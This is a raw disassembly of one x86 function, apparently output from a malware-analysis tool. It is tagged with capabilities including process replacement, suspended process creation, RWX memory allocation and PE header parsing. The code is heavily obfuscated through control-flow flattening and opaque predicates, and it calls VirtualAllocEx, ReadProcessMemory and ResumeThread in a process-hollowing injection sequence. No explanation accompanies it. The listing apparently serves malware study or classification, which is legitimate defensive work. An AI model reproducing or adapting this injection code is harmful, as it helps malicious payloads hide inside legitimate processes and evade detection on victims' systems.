Function at 0x100032e0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x100
mov eax, dword [0x1006b200]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x108], 0x4da27cc8
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0x10c], eax
sub eax, 0x80348449
je 0x10009b0e
jmp 0x1000331c
mov eax, dword [ebp - 0x10c]
sub eax, 0x82960b59
je 0x1000bae3
jmp 0x10003332
mov eax, dword [ebp - 0x10c]
sub eax, 0x830096a8
je 0x10008d29
jmp 0x10003348
mov eax, dword [ebp - 0x10c]
sub eax, 0x831b52f6
je 0x10006220
jmp 0x1000335e
mov eax, dword [ebp - 0x10c]
sub eax, 0x8351caf1
je 0x1000ab61
jmp 0x10003374
mov eax, dword [ebp - 0x10c]
sub eax, 0x83c3672b
je 0x1000c2fb
jmp 0x1000338a
mov eax, dword [ebp - 0x10c]
sub eax, 0x83d3d670
je 0x10009618
jmp 0x100033a0
mov eax, dword [ebp - 0x10c]
sub eax, 0x83de4e47
je 0x1000b336
jmp 0x100033b6
mov eax, dword [ebp - 0x10c]
sub eax, 0x8404fa5d
je 0x10008d4a
jmp 0x100033cc
mov eax, dword [ebp - 0x10c]
sub eax, 0x841952a2
je 0x1000b8ba
jmp 0x100033e2
mov eax, dword [ebp - 0x10c]
sub eax, 0x84d3a6e8
je 0x1000b06e
jmp 0x100033f8
mov eax, dword [ebp - 0x10c]
sub eax, 0x852d89b3
je 0x10009304
jmp 0x1000340e
mov eax, dword [ebp - 0x10c]
sub eax, 0x85afabf1
je 0x10008091
jmp 0x10003424
mov eax, dword [ebp - 0x10c]
sub eax, 0x8683ebbc
je 0x1000b8ab
jmp 0x1000343a
mov eax, dword [ebp - 0x10c]
sub eax, 0x868bf7eb
je 0x10007c97
jmp 0x10003450
mov eax, dword [ebp - 0x10c]
sub eax, 0x8721e16c
je 0x1000ac95
jmp 0x10003466
mov eax, dword [ebp - 0x10c]
sub eax, 0x873e2c97
je 0x10006cd5
jmp 0x1000347c
mov eax, dword [ebp - 0x10c]
sub eax, 0x87f8987e
je 0x1000668c
jmp 0x10003492
mov eax, dword [ebp - 0x10c]
sub eax, 0x87fbe2e2
je 0x1000bdd7
jmp 0x100034a8
mov eax, dword [ebp - 0x10c]
sub eax, 0x8816018c
je 0x10006baf
jmp 0x100034be
mov eax, dword [ebp - 0x10c]
sub eax, 0x88d8273d
je 0x10009f9d
jmp 0x100034d4
mov eax, dword [ebp - 0x10c]
sub eax, 0x89011e14
je 0x1000bcc6
jmp 0x100034ea
mov eax, dword [ebp - 0x10c]
sub eax, 0x89267316
je 0x10006db1
jmp 0x10003500
mov eax, dword [ebp - 0x10c]
sub eax, 0x89912c15
je 0x10005a73
jmp 0x10003516
mov eax, dword [ebp - 0x10c]
sub eax, 0x89f7f65a
je 0x1000a6bc
jmp 0x1000352c
mov eax, dword [ebp - 0x10c]
sub eax, 0x8a79914f
je 0x1000bb4f
jmp 0x10003542
mov eax, dword [ebp - 0x10c]
sub eax, 0x8b0c990f
je 0x100084e6
jmp 0x10003558
mov eax, dword [ebp - 0x10c]
sub eax, 0x8b6f6017
je 0x10005c50
jmp 0x1000356e
mov eax, dword [ebp - 0x10c]
sub eax, 0x8b89a729
je 0x10006839
jmp 0x10003584
mov eax, dword [ebp - 0x10c]
sub eax, 0x8c1cd3dd
je 0x1000bdb6
jmp 0x1000359a
mov eax, dword [ebp - 0x10c]
sub eax, 0x8c4af5a1
je 0x10008629
jmp 0x100035b0
mov eax, dword [ebp - 0x10c]
sub eax, 0x8d8e3fdb
je 0x1000bc45
jmp 0x100035c6
mov eax, dword [ebp - 0x10c]
sub eax, 0x8dc22b1b
je 0x100099da
jmp 0x100035dc
mov eax, dword [ebp - 0x10c]
sub eax, 0x8de8e317
je 0x1000a530
jmp 0x100035f2
mov eax, dword [ebp - 0x10c]
sub eax, 0x8dfc0f17
je 0x1000bba0
jmp 0x10003608
mov eax, dword [ebp - 0x10c]
sub eax, 0x8e0f8adf
je 0x100092bb
jmp 0x1000361e
mov eax, dword [ebp - 0x10c]
sub eax, 0x8e9b52b2
je 0x10006960
jmp 0x10003634
mov eax, dword [ebp - 0x10c]
sub eax, 0x8f534613
je 0x10008875
jmp 0x1000364a
mov eax, dword [ebp - 0x10c]
sub eax, 0x91b04b29
je 0x10006488
jmp 0x10003660
mov eax, dword [ebp - 0x10c]
sub eax, 0x924b7585
je 0x10005f23
jmp 0x10003676
mov eax, dword [ebp - 0x10c]
sub eax, 0x9254c064
je 0x10009dcf
jmp 0x1000368c
mov eax, dword [ebp - 0x10c]
sub eax, 0x93543c02
je 0x10007f58
jmp 0x100036a2
mov eax, dword [ebp - 0x10c]
sub eax, 0x93c060f3
je 0x1000861a
jmp 0x100036b8
mov eax, dword [ebp - 0x10c]
sub eax, 0x93cce5c9
je 0x1000b6d1
jmp 0x100036ce
mov eax, dword [ebp - 0x10c]
sub eax, 0x9409fce9
je 0x1000b6e0
jmp 0x100036e4
mov eax, dword [ebp - 0x10c]
sub eax, 0x953a153d
je 0x1000b928
jmp 0x100036fa
mov eax, dword [ebp - 0x10c]
sub eax, 0x95ea0e37
je 0x100097ee
jmp 0x10003710
mov eax, dword [ebp - 0x10c]
sub eax, 0x97d1aa9b
je 0x1000710e
jmp 0x10003726
mov eax, dword [ebp - 0x10c]
sub eax, 0x97d9547a
je 0x10007f67
jmp 0x1000373c
mov eax, dword [ebp - 0x10c]
sub eax, 0x987f7596
je 0x10008997
jmp 0x10003752
mov eax, dword [ebp - 0x10c]
sub eax, 0x98a2e093
je 0x10009c1a
jmp 0x10003768
mov eax, dword [ebp - 0x10c]
sub eax, 0x98e48908
je 0x1000bedc
jmp 0x1000377e
mov eax, dword [ebp - 0x10c]
sub eax, 0x99448818
je 0x1000ae0e
jmp 0x10003794
mov eax, dword [ebp - 0x10c]
sub eax, 0x99b310e9
je 0x10007586
jmp 0x100037aa
mov eax, dword [ebp - 0x10c]
sub eax, 0x9a0b66f3
je 0x1000b318
jmp 0x100037c0
mov eax, dword [ebp - 0x10c]
sub eax, 0x9ba92a09
je 0x10006aaa
jmp 0x100037d6
mov eax, dword [ebp - 0x10c]
sub eax, 0x9c6ebf76
je 0x1000bd86
jmp 0x100037ec
mov eax, dword [ebp - 0x10c]
sub eax, 0x9cd04adc
je 0x100075c8
jmp 0x10003802
mov eax, dword [ebp - 0x10c]
sub eax, 0x9e23865c
je 0x100084a4
jmp 0x10003818
mov eax, dword [ebp - 0x10c]
sub eax, 0x9e8aa06e
je 0x100077a1
jmp 0x1000382e
mov eax, dword [ebp - 0x10c]
sub eax, 0x9f548605
je 0x1000acd3
jmp 0x10003844
mov eax, dword [ebp - 0x10c]
sub eax, 0xa00741b8
je 0x10008cac
jmp 0x1000385a
mov eax, dword [ebp - 0x10c]
sub eax, 0xa15bff10
je 0x10005c6d
jmp 0x10003870
mov eax, dword [ebp - 0x10c]
sub eax, 0xa189cc8a
je 0x1000b795
jmp 0x10003886
mov eax, dword [ebp - 0x10c]
sub eax, 0xa1d5a9cc
je 0x1000bbf1
mov eax, dword [0x1006c528]
mov ecx, dword [0x1006c524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x45039ef2
mov ecx, 0x5d648e94
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000c370
mov dl, 1
mov eax, 0xf3cbdf89
mov ecx, 0xa15bff10
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000c370
movss xmm0, dword [0x100193ac]
movss dword [ebp - 0x100], xmm0
mov dword [ebp - 0x108], 0xbba756a1
jmp 0x1000c370
mov dl, 1
mov eax, 0x5ce2eb03
mov ecx, 0x76a8ca70
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000c370
movss xmm0, dword [0x1001938c]
movss dword [ebp - 0x100], xmm0
mov dword [ebp - 0x108], 0xbe310a70
jmp 0x1000c370
mov eax, dword [0x1006c528]
mov ecx, dword [0x1006c524]
mov edx, eax
sub edx, 0x4c610749
sub edx, 1
add edx, 0x4c610749
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xab9462d0
mov ecx, 0x48fe4a9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000c370
mov eax, dword [0x1006c528]
mov ecx, dword [0x1006c524]
mov edx, eax
add edx, 0x7fb0838e
sub edx, 1
sub edx, 0x7fb0838e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x30ca8f57
mov ecx, 0x620dab74
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000c370
mov ecx, dword [0x1006c528]
mov eax, dword [0x1006c524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x655fdc75
mov ecx, 0x3edc40ad
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000c370
movss xmm0, dword [0x10019354]
movss dword [ebp - 0x104], xmm0
mov dword [ebp - 0x108], 0xeaae99b5
jmp 0x1000c370
mov dl, 1
mov eax, 0xdab2a944
mov ecx, 0x40655369
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000c370
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x10019340]
movss dword [eax], xmm0
mov dword [ebp - 0x108], 0xdab2a944
jmp 0x1000c370
mov eax, dword [0x1006c528]
mov ecx, dword [0x1006c524]
mov edx, eax
sub edx, 0xc81a6146
sub edx, 1
add edx, 0xc81a6146
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8dfc0f17
mov ecx, 0xb7da5986
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000c370
mov ecx, dword [0x1006c528]
mov eax, dword [0x1006c524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7dc8b0b9
mov ecx, 0x285fbbad
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000c370
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x100191f8]
movss dword [eax], xmm0
mov eax, dword [0x1006c528]
mov ecx, dword [0x1006c524]
mov edx, eax
add edx, 0x56f0667f
sub edx, 1
sub edx, 0x56f0667f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x74016354
mov ecx, 0x164553d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000c370
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x10019310]
movss dword [eax], xmm0
mov dword [ebp - 0x108], 0xeb59c549
jmp 0x1000c370
mov eax, dword [0x1006c528]
mov ecx, dword [0x1006c524]
mov edx, eax
sub edx, 0xa77afbfb
sub edx, 1
add edx, 0xa77afbfb
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x54009abd
mov ecx, 0xc9d592ea
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000c370
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x10019304]
movss dword [eax], xmm0
mov dword [ebp - 0x108], 0xade3a9e9
jmp 0x1000c370
mov dl, 1
mov eax, 0x4e8e365c
mov ecx, 0xd57563f6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000c370
mov dword [ebp - 0x108], 0x97d9547a
jmp 0x1000c370
mov ecx, dword [0x1006c528]
mov eax, dword [0x1006c524]
mov edx, ecx
sub edx, 0x734a4809
sub edx, 1
add edx, 0x734a4809
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xce35f502
mov ecx, 0x30782b0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000c370
mov ecx, dword [0x1006c528]
mov eax, dword [0x1006c524]
mov edx, ecx
sub edx, 0xc9cd3ae
sub edx, 1
add edx, 0xc9cd3ae
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7c975ed
mov ecx, 0xac1c967c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000c370
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x100192b0]
movss dword [eax], xmm0
mov dword [ebp - 0x108], 0x3f7993a3
jmp 0x1000c370
mov dl, 1
mov eax, 0x8c4af5a1
mov ecx, 0x666fef9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000c370
mov dword [ebp - 0x108], 0x8c4af5a1
jmp 0x1000c370
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x100192a8]
movss dword [eax], xmm0
mov dword [ebp - 0x108], 0xb09cd1af
jmp 0x1000c370
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x10019298]
movss dword [eax], xmm0
mov dword [ebp - 0x108], 0x30a77872
jmp 0x1000c370
mov dl, 1
mov eax, 0x762d0a6a
mov ecx, 0x71936c19
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000c370
mov ecx, dword [0x1006c528]
mov eax, dword [0x1006c524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3937e7
mov ecx, 0xffa556e0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000c370
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x1001927c]
movss dword [eax], xmm0
mov dword [ebp - 0x108], 0x8404fa5d
jmp 0x1000c370
mov dl, 1
mov eax, 0x5b9fc01b
mov ecx, 0x3822148d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000c370
mov eax, dword [0x1006c528]
mov ecx, dword [0x1006c524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1455061b
mov ecx, 0x852d89b3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000c370
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x100191a8]
movss dword [eax], xmm0
mov ecx, dword [0x1006c528]
mov eax, dword [0x1006c524]
mov edx, ecx
add edx, 0xbe3a88fd
sub edx, 1
sub edx, 0xbe3a88fd
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1455061b
mov ecx, 0xab8fd12e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000c370
mov eax, dword [ebp - 0xe8]
movss xmm0, dword [0x10019250]
movss dword [eax], xmm0
mov dword [ebp - 0x108], 0xa90b8fb
jmp 0x1000c370
mov dword [ebp - 0x108], 0xe2c60ff3
jmp 0x1000c370
mov ecx, dword [0x1006c528]
mov eax, dword [0x1006c524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa4ba7771
mov ecx, 0x7343f33b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000c370
mov dword [ebp - 0x108], 0x6a2565e5
jmp 0x1000c370
mov dl, 1
mov eax, 0xbb383c23
mov ecx, 0xbce4d836
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000c370
mov ecx, dword [0x1006c528]
mov eax, dword [0x1006c524]
mov edx, ecx
sub edx, 0xb0f4ff4d
sub edx, 1
add edx, 0xb0f4ff4d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xfd56b891
mov ecx, 0xd846e0a5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000c370
mov ecx, dword [0x1006c528]
mov eax, dword [0x1006c524]
mov edx, ecx
add edx, 0xfba91d3c
sub edx, 1
sub edx, 0xfba91d3c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb2176c0b
mov ecx, 0xb6a0f432
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000c370
mov eax, dword [ebp - 0xd4]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x68]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xc0]
mov dword [eax], ecx
mov eax, dword [0x1006c528]
mov ecx, dword [0x1006c524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1f345397
mov ecx, 0x6087f8c2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000c370
mov ecx, dword [ebp - 0x64]
mov edx, dword [ebp - 0x60]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0xb4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xb0]
mov dword [eax], 0
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0xac]
mov dword [eax], ecx
mov eax, dword [ebp - 0xa8]
mov dword [eax], 0
mov ecx, dword [0x1006c528]
mov eax, dword [0x1006c524]
mov edx, ecx
sub edx, 0xe0a135cd
sub edx, 1
add edx, 0xe0a135cd
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf4ca35a0
mov ecx, 0x5d5aa98d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000c370
mov dword [ebp - 0x108], 0x7db21ea5
jmp 0x1000c370
mov eax, dword [ebp - 0xbc]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0x39], al
mov dword [ebp - 0x108], 0xbc247d1
jmp 0x1000c370
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x108], 0xe09f114c
jmp 0x1000c370
mov dl, byte [ebp - 0x31]
mov eax, 0x666a5be5
mov ecx, 0x76e25f52
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000c370
mov eax, dword [ebp - 0xa0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x94]
mov ecx, dword [ecx]
movzx eax, word [eax + ecx*2]
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xfff
mov ecx, 0xffffffff
xor ecx, 0x5346a5f1
or eax, edx
or ecx, 0x5346a5f1
xor eax, 0xffffffff
and eax, ecx
mov ecx, dword [ebp - 0x20]
add ecx, 0xec804563
add ecx, eax
sub ecx, 0xec804563
mov eax, dword [ebp - 0x90]
mov dword [eax], ecx
mov eax, dword [ebp - 0x90]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xd4]
mov edx, dword [eax]
mov eax, dword [ebp - 0x8c]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, eax
mov eax, 0x71e212eb
mov ecx, 0x47c94745
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000c370
mov dword [ebp - 0x108], 0x19b2361e
jmp 0x1000c370
mov ecx, dword [0x1006c528]
mov eax, dword [0x1006c524]
mov edx, ecx
sub edx, 0xe724d02d
sub edx, 1
add edx, 0xe724d02d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xab33f22c
mov ecx, 0x1ea57014
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000c370
mov dword [ebp - 0x108], 0x9409fce9
jmp 0x1000c370
mov eax, dword [0x1006c528]
mov ecx, dword [0x1006c524]
mov edx, eax
sub edx, 0xb57ef99d
sub edx, 1
add edx, 0xb57ef99d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe82084ca
mov ecx, 0xda427cf1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000c370
mov ecx, dword [0x1006c528]
mov eax, dword [0x1006c524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe4fc2808
mov ecx, 0xcf9cb62c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000c370
mov dword [ebp - 0x108], 0x841952a2
jmp 0x1000c370
mov ecx, dword [0x1006c528]
mov eax, dword [0x1006c524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x152a87c2
mov ecx, 0x953a153d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000c370
mov ecx, dword [0x1006c528]
mov eax, dword [0x1006c524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x152a87c2
mov ecx, 0xff5fe3d9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000c370
movss xmm0, dword [0x1001921c]
movss dword [ebp - 0x104], xmm0
mov dword [ebp - 0x108], 0x321eb7db
jmp 0x1000c370
mov dword [ebp - 0x108], 0x3400d31
jmp 0x1000c370
mov dword [ebp - 0x108], 0xb7da5986
jmp 0x1000c370
mov dword [ebp - 0x108], 0x1feb756b
jmp 0x1000c370
mov dword [ebp - 0x108], 0x62b3e704
jmp 0x1000c370
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x100191d8]
movss dword [eax], xmm0
mov dword [ebp - 0x108], 0xa54fd43
jmp 0x1000c370
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x100191d4]
movss dword [eax], xmm0
mov dword [ebp - 0x108], 0xe5492762
jmp 0x1000c370
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x100191d0]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x100191cc]
movss dword [eax], xmm0
mov dword [ebp - 0x108], 0x75b5b04f
jmp 0x1000c370
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x100191b4]
movss dword [eax], xmm0
mov dword [ebp - 0x108], 0xd2eb6c52
jmp 0x1000c370
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [ebp - 0x108], 0x31f700f7
jmp 0x1000c370
jmp 0x10003300